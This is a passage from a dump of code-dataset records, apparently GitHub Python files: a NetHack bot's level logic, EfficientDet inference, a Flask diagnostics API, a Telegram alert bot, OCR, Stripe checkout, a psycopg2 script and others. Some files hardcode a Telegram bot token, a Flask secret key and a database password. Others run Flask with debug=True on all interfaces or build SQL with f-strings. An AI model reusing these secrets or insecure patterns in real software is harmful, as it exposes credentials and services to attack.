self.cached_neighbor_locations[loc]:\n nsquare = self.level[nloc]\n if nsquare.hard in (HM_CLOSED, HM_UNLOCKED):\n found_frontier = True\n elif nsquare.hard == HM_UNKNOWN:\n if not nsquare.boulder:\n found_frontier = True\n for nloc in self.cached_neighbor_locations_ortho[loc]:\n if self.level[nloc].hard == HM_LOCKED:\n if self.get_kickable_status(nloc) != 'unkickable':\n found_frontier = True\n if found_frontier:\n interesting_set.add(loc)\n # if we are in a level that might have secret doors then dead ends are interesting.\n if self.has_secret_doors():\n for loc, square in self.level.items():\n if self.is_dead_end(loc):\n if square.search_count_from < 27:\n interesting_set.add(loc)\n # In sokoban the square in front of the next boulder to push is interesting.\n if self.level_branch == LEVEL_BRANCH_SOKOBAN:\n if self.sokoban_queue:\n flanking_row, flanking_col, boulder_row, boulder_col = self.sokoban_queue[0]\n target_player_location = (flanking_row, flanking_col)\n interesting_set.add(target_player_location)\n return interesting_set\n\n def has_secret_doors(self):\n if self.level_special == LEVEL_SPECIAL_MINETOWN:\n if self.wall_type != WALL_TYPE_CAVERN:\n return True\n if self.level_branch == LEVEL_BRANCH_SOKOBAN:\n return False\n if self.level_branch == LEVEL_BRANCH_MINES:\n return False\n if self.level_branch == LEVEL_BRANCH_DOOM:\n return True\n return True\n\n def get_location_evaluations(self, interesting_locations, scary_locations):\n \"\"\"\n Return a dict mapping a location to the distance from an interesting square.\n If a location is not in the dict, then no path exists.\n \"\"\"\n shell = interesting_locations - scary_locations\n loc_to_dist = {}\n depth = 0\n for loc in shell:\n loc_to_dist[loc] = depth\n while shell:\n depth += 1\n next_shell = set()\n for loc in shell:\n square = self.level[loc]\n for nloc in square.passable_neighbor_locations:\n if nloc in scary_locations:\n continue\n if nloc not in loc_to_dist:\n next_shell.add(nloc)\n loc_to_dist[nloc] = depth\n shell = next_shell\n return loc_to_dist\n\n def is_passable(self, loca, locb):\n \"\"\"\n This calculation takes into account only the hardmap.\n Because this function is in an inner loop,\n the preconditions are somewhat stringent.\n 1) The locations loca and locb should have a distLinf of exactly 1.\n That is, they should be exactly one square away from each other.\n \"\"\"\n empty_states = (HM_OPEN, HM_FLOOR, HM_OCCUPIABLE, HM_ALTAR, HM_UP_CONFIRMED, HM_DOWN_CONFIRMED, HM_UP_UNCONFIRMED, HM_DOWN_UNCONFIRMED)\n rowa, cola = loca\n rowb, colb = locb\n # check the first location for passability\n square_a = self.level[loca]\n if square_a.hard not in empty_states:\n return False\n if square_a.boulder:\n return False\n # check the second location for passability\n square_b = self.level[locb]\n if square_b.hard not in empty_states:\n return False\n if square_b.boulder:\n return False\n # check for passage orthogonality\n if rowa == rowb or cola == colb:\n return True\n # cannot cross an open doorway diagonally\n if square_a.hard == HM_OPEN or square_b.hard == HM_OPEN:\n return False\n # check the two counter-diagonal squares for a way to squeeze through\n mloca_square = self.level[(rowa, colb)]\n mlocb_square = self.level[(rowb, cola)]\n if self.level_branch == LEVEL_BRANCH_SOKOBAN:\n # in sokoban levels we cannot squeeze between diagonal boulders\n if (mloca_square.hard != HM_WALL) and (not mloca_square.boulder):\n return True\n if (mlocb_square.hard != HM_WALL) and (not mlocb_square.boulder):\n return True\n else:\n # in non-sokoban levels we can squeeze between diagonal boulders\n if mloca_square.hard != HM_WALL:\n return True\n if mlocb_square.hard != HM_WALL:\n return True\n return False\n \n def get_pickable_status(self, loc):\n \"\"\"\n This returns whether or not we should pick a locked door at a given location.\n The danger is that we are in minetown and the guards will get angry.\n Return one of {'unknown', 'pickable', 'unpickable'}\n \"\"\"\n # do not pick a lock in minetown\n if self.level_special == LEVEL_SPECIAL_MINETOWN:\n return 'unpickable'\n else:\n return 'pickable'\n\n def get_kickable_status(self, loc):\n \"\"\"\n This returns whether or not we should kick a locked door at a given location.\n One danger is that it is a shop door that is closed for inventory.\n We make this decision based on whether or not there is graffiti\n on a square ortho to the door.\n Another danger is that we are in minetown and the guards will get angry.\n Return one of {'unknown', 'kickable', 'unkickable'}\n \"\"\"\n # do not kick a door in minetown\n if self.level_special == LEVEL_SPECIAL_MINETOWN:\n return 'unkickable'\n # do not kick doors that might be shop doors\n has_graffiti = False\n has_trod = False\n for nloc in self.cached_neighbor_locations_ortho[loc]:\n nsquare = self.level[nloc]\n if nsquare.graffiti:\n has_graffiti = True\n elif nsquare.trod:\n has_trod = True\n if has_graffiti:\n return 'unkickable'\n elif has_trod:\n return 'kickable'\n else:\n return 'unknown'\n\n def notify_graffiti(self, location):\n square = self.level[location]\n square.graffiti = True\n\n def notify_store_door(self, last_loc, store_door_loc):\n \"\"\"\n This is a notification that a store door has been identified at the given location.\n Identify the GM_DOOR, the GM_ENTRANCE, and each GM_STORE square.\n @param last_loc: the location of the player before stepping on the door (presumably outside the store)\n @param store_door_loc: the location of the store door itself\n \"\"\"\n # make sure the last move was a non-diagonal move of a single square\n if abs(last_loc[0] - store_door_loc[0]) + abs(last_loc[1] - store_door_loc[1]) != 1:\n return 'the move to the store door was strange: %s to %s' % (last_loc, store_door_loc)\n # note the store's door\n self.level[store_door_loc].store = GM_DOOR\n # note the store's entrance square\n entrance_row = store_door_loc[0] + (store_door_loc[0] - last_loc[0])\n entrance_col = store_door_loc[1] + (store_door_loc[1] - last_loc[1])\n entrance_loc = (entrance_row, entrance_col)\n self.level[entrance_loc].store = GM_ENTRANCE\n # fill the rest of the store with GM_STORE status\n store_counter = 0\n shell = [entrance_loc]\n while shell:\n newshell = set()\n for oldloc in shell:\n for newloc in self.cached_neighbor_locations[oldloc]:\n square = self.level[newloc]\n if square.hard in (HM_OCCUPIABLE, HM_FLOOR) and square.store == GM_NONE:\n square.store = GM_STORE\n newshell.add(newloc)\n store_counter += 1\n shell = newshell\n return 'added %d store tiles' % store_counter\n\n\n\n\n\n\n","repo_name":"jmathes/Cosby","sub_path":"AscLevel.py","file_name":"AscLevel.py","file_ext":"py","file_size_in_byte":62568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74832973637","text":"import tensorflow as tf\nimport numpy as np\nimport cv2\nimport os\nimport time\nfrom utils import preprocess_image\nfrom tensorflow.python.platform import gfile\n\nfrom utils.anchors import anchors_for_shape\nfrom utils.draw_boxes import draw_boxes\nfrom utils.post_process_boxes import post_process_boxes\n\n\ndef get_frozen_graph(graph_file):\n with tf.gfile.FastGFile(graph_file, \"rb\") as f:\n graph_def = tf.compat.v1.GraphDef()\n graph_def.ParseFromString(f.read())\n return graph_def\n\n\ndef main():\n phi = 1\n model_path = 'checkpoints/2019-12-03/pascal_05.pb'\n image_sizes = (512, 640, 768, 896, 1024, 1280, 1408)\n image_size = image_sizes[phi]\n classes = [\n 'aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair',\n 'cow', 'diningtable', 'dog', 'horse', 'motorbike', 'person', 'pottedplant', 'sheep', 'sofa', 'train',\n 'tvmonitor',\n ]\n num_classes = len(classes)\n score_threshold = 0.5\n colors = [np.random.randint(0, 256, 3).tolist() for i in range(num_classes)]\n\n output_names = {\n 'output_boxes': 'filtered_detections/map/TensorArrayStack/TensorArrayGatherV3:0',\n 'output_scores': 'filtered_detections/map/TensorArrayStack_1/TensorArrayGatherV3:0',\n 'output_labels': 'filtered_detections/map/TensorArrayStack_2/TensorArrayGatherV3:0'\n }\n\n graph = tf.Graph()\n graph.as_default()\n sess = tf.Session()\n graph = get_frozen_graph(model_path)\n tf.import_graph_def(graph, name='')\n\n output_boxes = sess.graph.get_tensor_by_name(output_names[\"output_boxes\"])\n output_scores = sess.graph.get_tensor_by_name(output_names['output_scores'])\n output_labels = sess.graph.get_tensor_by_name(output_names['output_labels'])\n \n image_path = 'datasets/VOC2007/JPEGImages/000002.jpg'\n image = cv2.imread(image_path)\n src_image = image.copy()\n image = image[:, :, ::-1]\n h, w = image.shape[:2]\n \n image, scale, offset_h, offset_w = preprocess_image(image, image_size=image_size)\n anchors = anchors_for_shape((image_size, image_size))\n \n # run network\n start = time.time()\n image_batch = np.expand_dims(image, axis=0)\n anchors_batch = np.expand_dims(anchors, axis=0)\n feed_dict = {\"input_1:0\": image_batch, \"input_4:0\": anchors_batch}\n boxes, scores, labels = sess.run([output_boxes, output_scores, output_labels], feed_dict)\n\n boxes, scores, labels = np.squeeze(boxes), np.squeeze(scores), np.squeeze(labels)\n print(time.time() - start)\n boxes = post_process_boxes(boxes=boxes,\n scale=scale,\n offset_h=offset_h,\n offset_w=offset_w,\n height=h,\n width=w)\n\n # select indices which have a score above the threshold\n indices = np.where(scores[:] > score_threshold)[0]\n\n # select those detections\n boxes = boxes[indices]\n labels = labels[indices]\n\n draw_boxes(src_image, boxes, scores, labels, colors, classes)\n\n cv2.namedWindow('image', cv2.WINDOW_NORMAL)\n cv2.imshow('image', src_image)\n cv2.waitKey(0)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"xuannianz/EfficientDet","sub_path":"inference_frozen_graph.py","file_name":"inference_frozen_graph.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":1351,"dataset":"github-code","pt":"62"} +{"seq_id":"20748856638","text":"from flask import Flask, session, jsonify, request, make_response\r\nimport json\r\nimport os\r\nfrom diagnostics import (\r\n model_predictions, \r\n dataframe_summary, \r\n missing_data, \r\n execution_time, \r\n outdated_packages_list\r\n)\r\nfrom scoring import score_model\r\n\r\n\r\n\r\n######################Set up variables for use in our script\r\napp = Flask(__name__)\r\napp.secret_key = '1652d576-484a-49fd-913a-6879acfa6ba4'\r\n\r\nwith open('config.json','r') as f:\r\n config = json.load(f) \r\n\r\ndataset_csv_path = os.path.join(config['output_folder_path']) \r\n\r\nprediction_model = None\r\n\r\n\r\n#######################Prediction Endpoint\r\n@app.route(\"/prediction\", methods=['POST','OPTIONS'])\r\ndef predict(): \r\n dataset_path = request.json.get('dataset_path')\r\n _, y_pred = model_predictions(dataset_path)\r\n return make_response(\r\n jsonify(\r\n predictions = y_pred.tolist()\r\n ),\r\n 200\r\n )\r\n\r\n\r\n#######################Scoring Endpoint\r\n@app.route(\"/scoring\", methods=['GET','OPTIONS'])\r\ndef scoring(): \r\n score = score_model()\r\n return make_response(\r\n jsonify(\r\n score = score\r\n ),\r\n 200\r\n )\r\n\r\n#######################Summary Statistics Endpoint\r\n@app.route(\"/summarystats\", methods=['GET','OPTIONS'])\r\ndef stats(): \r\n summary = dataframe_summary()\r\n return make_response(\r\n jsonify(\r\n summary\r\n ),\r\n 200\r\n )\r\n\r\n#######################Diagnostics Endpoint\r\n@app.route(\"/diagnostics\", methods=['GET','OPTIONS'])\r\ndef diagnostics(): \r\n exec_time = execution_time()\r\n miss_data = missing_data()\r\n out_packages = outdated_packages_list() \r\n\r\n return make_response(\r\n jsonify(\r\n execution_time = exec_time, \r\n missing_data = miss_data, \r\n outdated_packages = out_packages\r\n ),\r\n 200\r\n )\r\n\r\n\r\nif __name__ == \"__main__\": \r\n app.run(host='0.0.0.0', port=8000, debug=True, threaded=True)\r\n","repo_name":"JuniorJDS/dynamic_risk_project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16572002175","text":"from pyface.action.menu_manager import MenuManager\nfrom traits.api import Int, Property, Str\nfrom traitsui.menu import Action\nfrom traitsui.tabular_adapter import TabularAdapter\n# ============= standard library imports ========================\n# ============= local library imports ==========================\nfrom pychron.core.configurable_tabular_adapter import ConfigurableMixin\nfrom pychron.envisage.resources import icon\n\n\nclass BrowserAdapter(TabularAdapter, ConfigurableMixin):\n font = 'arial 10'\n\n def get_tooltip(self, obj, trait, row, column):\n name = self.column_map[column]\n # name='_'.join(name.split('_')[:-1])\n item = getattr(obj, trait)[row]\n\n return '{}= {}'.format(name, getattr(self.item, name))\n\n\nclass ProjectAdapter(BrowserAdapter):\n columns = [('Name', 'name')]\n\n def get_menu(self, obj, trait, row, column):\n return MenuManager(Action(name='Unselect', action='unselect_projects'))\n\n\nclass SampleAdapter(BrowserAdapter):\n columns = [('Sample', 'name'),\n ('Material', 'material'),\n ('Project', 'project')]\n\n all_columns = [('Sample', 'name'),\n ('Material', 'material'),\n ('Project', 'project')]\n # material_text = Property\n odd_bg_color = 'lightgray'\n\n name_width = Int(125)\n labnumber_width = Int(60)\n material_width = Int(75)\n\n\nclass SampleImageAdapter(BrowserAdapter):\n columns = [('Sample', 'name'),\n ('Identifier', 'identifier'),\n ('Material', 'material'),\n ('Project', 'project')]\n\n\nclass LabnumberAdapter(BrowserAdapter):\n columns = [('Sample', 'name'),\n ('Identifier', 'labnumber'),\n ('Material', 'material')]\n all_columns = [('Sample', 'name'),\n ('Identifier', 'labnumber'),\n ('Material', 'material'),\n ('Project', 'project'),\n ('Irradiation', 'irradiation'),\n ('Level', 'irradiation_and_level'),\n ('Irrad. Pos.', 'irradiation_pos')]\n # material_text = Property\n odd_bg_color = 'lightgray'\n\n name_width = Int(125)\n labnumber_width = Int(60)\n material_width = Int(75)\n\n def get_menu(self, obj, trait, row, column):\n if obj.selected_samples:\n # psenabled = obj.current_task_name in ('Ideogram', 'Spectrum')\n # psenabled = isinstance(obj, FigureTask)\n return MenuManager(Action(name='Unselect', action='unselect_samples'),\n # Action(name='Chronological View', action='on_chrono_view'),\n Action(name='Configure', action='configure_sample_table'), )\n # Action(name='Plot Selected (Grouped)',\n # enabled=psenabled,\n # action='plot_selected_grouped'),\n # Action(name='Plot Selected',\n # enabled=psenabled,\n # action='plot_selected'))\n\n\nREVIEW_STATUS_ICONS = {'Default': icon('gray_ball'),\n 'Intermediate': icon('orange_ball'),\n 'All': icon('green_ball')}\n\n\nclass AnalysisAdapter(BrowserAdapter):\n all_columns = [('Review', 'review_status'),\n ('Run ID', 'record_id'),\n ('Tag', 'tag'),\n ('RunDate', 'rundate'),\n ('Dt', 'delta_time'),\n # ('Iso Fits', 'iso_fit_status'),\n # ('Blank', 'blank_fit_status'),\n # ('IC', 'ic_fit_status'),\n # ('Flux', 'flux_fit_status'),\n ('Spec.', 'mass_spectrometer'),\n ('Meas.', 'meas_script_name'),\n ('Ext.', 'extract_script_name'),\n ('EVal.', 'extract_value'),\n ('Cleanup', 'cleanup'),\n ('Dur', 'duration'),\n ('Device', 'extract_device'),\n ('Comment', 'comment')]\n\n columns = [('Run ID', 'record_id'),\n ('Tag', 'tag'),\n ('Dt', 'delta_time')]\n\n review_status_width = Int(50)\n review_status_image = Property\n review_status_text = Str('')\n rundate_width = Int(125)\n delta_time_width = Int(65)\n delta_time_text = Property\n record_id_width = Int(70)\n tag_width = Int(65)\n odd_bg_color = 'lightgray'\n font = 'arial 10'\n\n def _get_review_status_image(self):\n s = self.item.review_status\n return REVIEW_STATUS_ICONS.get(s)\n\n def _get_delta_time_text(self):\n dt = self.item.delta_time\n if dt > 60:\n units = '(h)'\n dt /= 60.\n if dt > 24:\n units = '(d)'\n dt /= 24.\n else:\n units = ''\n return '{:0.1f} {}'.format(dt, units)\n\n def get_menu(self, obj, trait, row, column):\n e = obj.append_replace_enabled\n actions = [Action(name='Configure', action='configure_analysis_table'),\n Action(name='Unselect', action='unselect_analyses'),\n # Action(name='Replace', action='replace_items', enabled=e),\n # Action(name='Append', action='append_items', enabled=e),\n Action(name='Open', action='recall_items'),\n Action(name='Review Status Details', action='review_status_details')\n # Action(name='Open Copy', action='recall_copies'),\n # Action(name='Find References', action='find_refs')\n ]\n\n return MenuManager(*actions)\n\n def get_bg_color(self, obj, trait, row, column=0):\n color = 'white'\n item = getattr(obj, trait)[row]\n\n if item.delta_time > 1440: # 24 hours\n color = '#76C1E2'\n elif row % 2:\n color = 'lightgray'\n return color\n\n\nclass InterpretedAgeAdapter(TabularAdapter):\n columns = [('Identifier', 'identifier'),\n ('Name', 'name')]\n\n font = 'arial 10'\n name_width = 100\n identifier_width = 100\n\n# ============= EOF =============================================\n","repo_name":"tdurieux/pattern-detector-experiment","sub_path":"benchmark/bugswarm/NMGRL-pychron-153321836/buggy_files/pychron/envisage/browser/adapters.py","file_name":"adapters.py","file_ext":"py","file_size_in_byte":6109,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"31911232125","text":"from aiogram import Bot, Dispatcher\nfrom aiogram.filters import Command\n\nfrom gdc.database import db_bot_chats\nfrom gdc.database.db_bot_chats import BotChatData\n\nbot = Bot(\"6512951342:AAHGL6ynxmKqUZkWbsUg6nJEFTaaoZHbCSg\")\ndp = Dispatcher()\n\n\ndef send_alert(text: str):\n send_message(f\"‼️{text}\")\n\n\ndef send_info(text: str):\n send_message(f\"📄 {text}\")\n\n\ndef send_error(text: str):\n send_message(f\"❌ {text}\")\n\n\nasync def send_message(text: str):\n global bot\n chats = db_bot_chats.get_bot_chats()\n\n for chat in chats:\n await bot.send_message(chat.chat_id,\n f\"{text}\",\n parse_mode=\"HTML\")\n\n\n@dp.message(Command('save_chat'))\nasync def fd(message):\n global bot\n db_bot_chats.write_bot_chat(BotChatData(id=-1,\n chat_id=message.chat.id))\n await bot.send_message(message.chat.id,\n '👌')\n\n\nasync def start_telegram_log_bot():\n global dp, bot\n await dp.start_polling(bot, skip_updates=True)\n","repo_name":"vladik7426/govDatesCatcher","sub_path":"gdc/bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"539378904","text":"import pandas as pd\nimport os\nimport plotly.offline as pyof\nimport plotly.graph_objs as go\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nclass Plotly_PyQt5():\n def __init__(self):\n #初始化时设置存储HTML文件的文件夹名称,默认为plotly_html\n plotly_dir = 'plotly_html'\n if not os.path.isdir(plotly_dir):\n os.mkdir(plotly_dir)\n #os.getcwd() 文件的当前路径;os.sep根据操作系统填充分隔符’\\‘or'/'\n self.path_dir_plotly_html = os.getcwd() + os.sep + plotly_dir\n \n def get_plotly_path_if_hs300_bais(self, file_name='if_hs300_bais.html'):\n path_plotly = self.path_dir_plotly_html + os.sep + file_name\n df = pd.read_excel(r'if_index_bais.xlsx')\n \n #绘制散点图\n line_main_price = go.Scatter(\n x = df.index, \n y = df['main_price'], \n name = 'main_price', \n connectgaps = True #这个参数表示允许连接数据之间的缺失值\n )\n \n line_hs300_close = go.Scatter(\n x = df.index, \n y = df['hs300_close'], \n name = 'hs300_close', \n connectgaps = True, \n )\n \n data = [line_hs300_close, line_main_price]\n \n layout = dict(title='if_hs300_bais', xaxis=dict(title='Date'), yaxis=dict(title='Price'))\n \n fig = go.Figure(data=data, layout=layout)\n \n pyof.plot(fig, filename=path_plotly, auto_open=False)\n return path_plotly\n \n","repo_name":"yergen/PyQt5","sub_path":"chapter09/Plotly_PyQt5.py","file_name":"Plotly_PyQt5.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"38231207063","text":"import cv2\n\nface_cascade = cv2.CascadeClassifier(\"/Users/gnir/PycharmProjects/games/Summer_Py/open_cv_course\"\n \"/haarcascades/haarcascade_frontalface_default.xml\")\n\nweb_cam = cv2.VideoCapture(0)\nweb_cam.set(3, 640)\nweb_cam.set(4, 480)\nweb_cam.set(10, 100)\n\nmin_area = 500\n\nwhile True:\n _, img = web_cam.read()\n\n # img = cv2.imread(\"/Users/gnir/PycharmProjects/games/Images/Screen Shot 2019-10-09 at 22.28.31.png\")\n\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n faces = face_cascade.detectMultiScale(gray, 1.1, 3)\n\n for (x, y, w, h) in faces:\n area = w * h\n\n if area > min_area:\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n face_detected = cv2.putText(img, \"Face Detected\", (x, y - 5), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1,\n (255, 0, 255), 2)\n face_detected = cv2.flip(face_detected, 1)\n\n # img = cv2.flip(img, 1)\n cv2.imshow('img', img)\n k = cv2.waitKey(30) & 0xFF\n if k == 27:\n break\n\nweb_cam.release()\n","repo_name":"yugbug/FunGunn","sub_path":"Summer_Py/open_cv_course/face_recognition.py","file_name":"face_recognition.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17999582485","text":"import os\nimport pytesseract\nfrom pdf2image import convert_from_path\nfrom PIL import Image\nimport pytesseract\n\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\ntessdata_dir_config = r'--tessdata-dir \"C:\\Program Files\\Tesseract-OCR\\tessdata\"'\n\noutput_folder = 'output'\noutput2_folder = 'output2' \n\nif not os.path.exists(output2_folder):\n os.makedirs(output2_folder)\n \nfor pdf_name in os.listdir(output_folder):\n print('pdf_folder = ' + pdf_name)\n pdf_folder_path = os.path.join(output_folder, pdf_name)\n print('pdf_folder_path = ' + pdf_folder_path)\n output_dir = os.path.join(output2_folder, pdf_name) \n print('output_dir = ' + output_dir)\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n for pdf in os.listdir(pdf_folder_path):\n print('pdf = ' + pdf)\n pdf_path = os.path.join(pdf_folder_path, pdf)\n \n images = convert_from_path(pdf_path)\n for i, image in enumerate(images):\n text = pytesseract.image_to_string(image, lang='por', config=tessdata_dir_config)\n page_name = os.path.splitext(pdf)[0]\n with open(os.path.join(output_dir, f'{page_name}.txt'), 'w') as f:\n f.write(text)\n \nprint('OCR complete!')\n","repo_name":"conjuresystems/pdf-splitter","sub_path":"runOCR.py","file_name":"runOCR.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4551739939","text":"import stripe\nfrom django.conf import settings\nfrom Orders.models import Order, OrderItem\n\n\ndef create_checkout_session(request):\n if request:\n domain_url = \"http://localhost:8000/\"\n stripe.api_key = settings.STRIPE_SECRET_KEY\n try:\n\n checkout_session = stripe.checkout.Session.create(\n success_url=domain_url + \"success?session_id={CHECKOUT_SESSION_ID}\",\n cancel_url=domain_url + \"cancelled/\",\n payment_method_types=[\"card\"],\n mode=\"payment\",\n line_items=[\n {\n \"name\": \"T-shirt\",\n \"quantity\": 1,\n \"currency\": \"usd\",\n \"amount\": \"2000\",\n }\n ],\n )\n return checkout_session[\"id\"]\n except Exception as e:\n return str(e)\n\n\ndef create_payment_intent(order_id):\n stripe.api_key = settings.STRIPE_SECRET_KEY\n\n order = Order.objects.get(id=order_id)\n #\n total_price = int(order.total_amount * 100)\n\n intent = stripe.PaymentIntent.create(\n amount=total_price,\n currency=\"inr\",\n # payment_method_types=['card'],\n automatic_payment_methods={\"enabled\": True},\n )\n order.payment_id = intent[\"id\"]\n order.save()\n #\n return intent\n","repo_name":"aabidsofi19/zivero-monorep","sub_path":"apps/backend/checkout/checkout.py","file_name":"checkout.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24078724244","text":"import psycopg2\n\nconn = psycopg2.connect(\n host=\"localhost\",\n database=\"pp2demo\",\n user=\"pp2demo_user\",\n password=\"pp2demo\")\n\ncursor = conn.cursor()\n# 1 и 2 задание - вывод университета и професора по айди\n# sql1='SELECT version()'\n# st_id=1\n# pr_id=101\n# sql1=f'SELECT university_name,students_count,Prof_name,speciality,salary FROM university,professor WHERE id={st_id} and uni_id={st_id};'\n# sql2=f'SELECT university_name,students_count FROM university WHERE id={st_id};'\n\n# cursor.execute(sql1)\n# users = cursor.fetchall()\n# cursor.execute(sql2)\n# user= cursor.fetchall()\n# l=['university_name','students_count','Prof_name','speciality','salary']\n# for i in users:\n# print(f\"professor worked at {user[0][0]} \")\n# for ind,j in enumerate(i):\n# print(f'{l[ind]} -- {j}')\n\n# 3 задание - вывод по зарплате и профессии \n# spec='Math'\n# salary= 3000\n# sql1=f\"SELECT Prof_name,speciality,salary FROM professor WHERE speciality = '{spec}' and salary>={salary} ;\"\n# cursor.execute(sql1)\n# users = cursor.fetchall()\n# print(users)\n\n# 5 Task\nid=102\nage='10'\nsql1=f\"UPDATE professor SET experience = {age} WHERE Prof_id = {id};\"\nsql2=\"select * from professor;\"\ncursor.execute(sql1)\ncursor.execute(sql2)\n\nusers = cursor.fetchall()\nfor i in users:\n for j in i:\n if i[-1]==age:\n print(i)\n break\n# print(users)\n\n\nconn.commit() \ncursor.close()\nconn.close()","repo_name":"Arshidin9856/python2","sub_path":"Sample/dattasks/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30667688329","text":"import math\nimport os\nimport subprocess\nfrom os import path\nfrom random import randint\nfrom xml.dom import minidom\nfrom xml.etree import ElementTree\nfrom xml.etree.ElementTree import Element, SubElement\n\nimport matplotlib.pyplot as plt\n\nfrom win32api import GetSystemMetrics\n\nMIN_NO_OF_VER = 3\nMAX_NO_OF_VER = 10\n\n\nclass Point:\n \"\"\"\n class that represent Point object.\n \"\"\"\n\n def __init__(self, coordinates, line_of_sight=None):\n \"\"\"\n\n :param\n coordinates: x and y coordinate values of the point.\n line_of_sight: A list of all the points that can be seen from the current point.\n \"\"\"\n self.coordinates = coordinates\n self.line_of_sight = line_of_sight if line_of_sight else []\n\n def get_coordinates(self):\n return self.coordinates\n\n def get_line_of_sight(self):\n return self.line_of_sight\n\n def set_line_of_sight(self, line_of_sight):\n self.line_of_sight = line_of_sight\n\n\nclass Map:\n \"\"\"\n class that represent a Map object.\n \"\"\"\n\n def __init__(self, _width=None, _height=None, _start_point=None, _target_point=None, _polygons=None, _route=None,\n state=\"random\"):\n \"\"\"\n\n :param\n _width: Map width value.\n _height: Map height value.\n _start_point: Start_point value.\n _target_point: Target_point value.\n _polygons: A list of all the polygons on the map. If no list is defined it will automatically draw polygons.\n _route: A list of the points describing the easiest route.\n state: set the start_point and target_point randomly or fixed.\n\n If set to \"random\" then it wil generate random points.\n If set to \"debug\" then it fix the\n start_point to (0, 0) (bottom left corner)\n and target_point to (max_width, max_height) (top right corner).\n It set to \"random\" by default.\n \"\"\"\n self.routh = None\n if _width is None:\n if state == \"random\":\n self.width = randint(100, GetSystemMetrics(0))\n elif state == \"debug\":\n self.width = 100\n else:\n self.width = _width\n\n if _height is None:\n if state == \"random\":\n self.height = randint(100, GetSystemMetrics(1))\n elif state == \"debug\":\n self.height = 100\n else:\n self.height = _height\n\n self.polygons = self.generate_polygons(state) if _polygons is None else _polygons\n\n if _start_point is None and _target_point is None:\n if state == \"random\":\n self.start_point = self.generate_point()\n self.target_point = self.generate_point()\n\n elif state == \"debug\":\n self.start_point = Point((0, 0))\n self.target_point = Point((self.width, self.height))\n else:\n self.start_point = _start_point\n self.target_point = _target_point\n\n self.route = _route if _route else []\n\n # getters and setters.\n def get_height(self):\n return self.height\n\n def set_height(self, height):\n self.height = height\n\n def get_width(self):\n return self.width\n\n def get_start_point(self):\n return self.start_point\n\n def get_target_point(self):\n return self.target_point\n\n def set_target_point(self, target_point):\n self.target_point = target_point\n\n def get_routh(self):\n return self.route\n\n def set_routh(self, routh):\n self.routh = routh\n\n def get_poly(self):\n return self.polygons\n\n def set_poly(self, polygons):\n self.polygons = polygons\n\n # class functions.\n def generate_polygons(self, state=\"random\", max_rad=300):\n \"\"\"\n Class function that generate polygon objects of the Map object.\n It runs on the creation of a new Map object.\n\n :param state: set the start_point and target_point randomly or fixed.\n :param max_rad: maximum radius length from polygon center point to its vertexes.\n :return: list of polygon of the self Map object.\n \"\"\"\n num_of_poly = 0\n if state == \"debug\":\n num_of_poly = randint(0, 40) # generate number of polygons in map\n # num_of_poly = 40 # generate number of polygons in map\n\n elif state == \"random\":\n num_of_poly = randint(0, int(math.sqrt(self.width / max_rad) * int(\n self.height / max_rad))) # generate number of polygons in map\n\n polygon_list = []\n\n timer = 0\n while num_of_poly > 0:\n center_point = randint(0, self.width), randint(0, self.height)\n radius = randint(MIN_NO_OF_VER, max_rad)\n valid_poly_loc = True\n\n for recentPoly in polygon_list:\n x, y = recentPoly.center_point.get_coordinates()\n if abs(center_point[0] - x) < radius + recentPoly.maxRad and abs(\n center_point[1] - y) < radius + recentPoly.maxRad:\n valid_poly_loc = False\n break\n\n if valid_poly_loc:\n polygon_list.append(\n Polygon((self.width, self.height), center_point, randint(MIN_NO_OF_VER, MAX_NO_OF_VER),\n radius, state=state))\n if valid_poly_loc or timer % 100 == 0:\n num_of_poly -= 1\n\n timer += 1\n\n return polygon_list\n\n def generate_point(self):\n \"\"\"\n class function that generate point represented as a tuple on Map object.\n It runs on the creation of a new Polygon object.\n\n :return: tuple of X and Y coordination of a point in the Map object.\n \"\"\"\n point = (0, 0)\n is_generated = False\n while not is_generated:\n point = (randint(0, self.width), randint(0, self.height))\n is_generated = True\n for recentPoly in self.polygons:\n x, y = recentPoly.center_point.get_coordinates()\n if ((x + recentPoly.maxRad) > point[0] > (x - recentPoly.maxRad)) \\\n and ((y + recentPoly.maxRad) > point[1] > (y - recentPoly.maxRad)):\n is_generated = False\n break\n\n return Point(point)\n\n\nclass Polygon:\n \"\"\"\n class that represent polygon object.\n \"\"\"\n\n def __init__(self, _dimension=None, _center_point=None, _num_of_vertices=0, _max_rad=None, _vertices=None,\n state=\"random\"):\n \"\"\"\n\n :param\n _dimension: A tuple describing the map dimensions (width, height) of the map the polygon is related to.\n _center_point: The center point of the polygon.\n _num_of_vertices: The number of vertices in the polygon.\n _max_rad: The size of the maximum 